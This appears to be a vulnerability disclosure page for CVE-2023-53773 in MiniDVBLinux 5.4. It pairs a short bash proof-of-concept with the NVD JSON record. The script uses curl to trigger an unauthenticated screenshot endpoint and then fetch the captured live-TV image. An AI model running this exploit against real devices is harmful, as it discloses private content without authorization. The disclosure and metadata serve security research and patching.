CVE-2023-53773

#!/bin/bash # CVE-2023-53773 PoC - MiniDVBLinux Unauthenticated Live Stream Screenshot Disclosure # Target: MiniDVBLinux 5.4 # Endpoint: /tpl/tv_action.sh # Output: /var/www/images/tv.jpg TARGET_HOST="${1:-target.example.com}" TARGET_PORT="${2:-80}" # Step 1: Trigger screenshot generation via tv_action.sh echo "[*] Triggering screenshot generation on ${TARGET_HOST}:${TARGET_PORT}" curl -s -o /dev/null -w "%{http_code}" "http://${TARGET_HOST}:${TARGET_PORT}/tpl/tv_action.sh" # Step 2: Retrieve the generated screenshot echo -e "\n[*] Downloading screenshot from /var/www/images/tv.jpg" curl -s -o tv_screenshot.jpg "http://${TARGET_HOST}:${TARGET_PORT}/var/www/images/tv.jpg" if [ -f tv_screenshot.jpg ]; then echo "[+] Screenshot saved as tv_screenshot.jpg" file tv_screenshot.jpg else echo "[-] Failed to retrieve screenshot" fi # Note: This PoC demonstrates the vulnerability without causing harm # Use responsibly and only on systems you have permission to test

{"cve": {"id": "CVE-2023-53773", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:52.620", "lastModified": "2025-12-19T19:19:53.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MiniDVBLinux 5.4 contains an unauthenticated vulnerability in the tv_action.sh script that allows remote attackers to generate live stream snapshots through the Simple VDR Protocol. Attackers can request /tpl/tv_action.sh to create and retrieve a live TV screenshot stored in /var/www/images/tv.jpg without authentication."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:minidvblinux:minidvblinux:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.4", "matchCriteriaId": "2D9CAD03-85CC-41CC-B745-371250902E61"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/51095", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.minidvblinux.de", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/minidvblinux-unauthenticated-live-stream-disclosure-via-tvactionsh", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5716.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}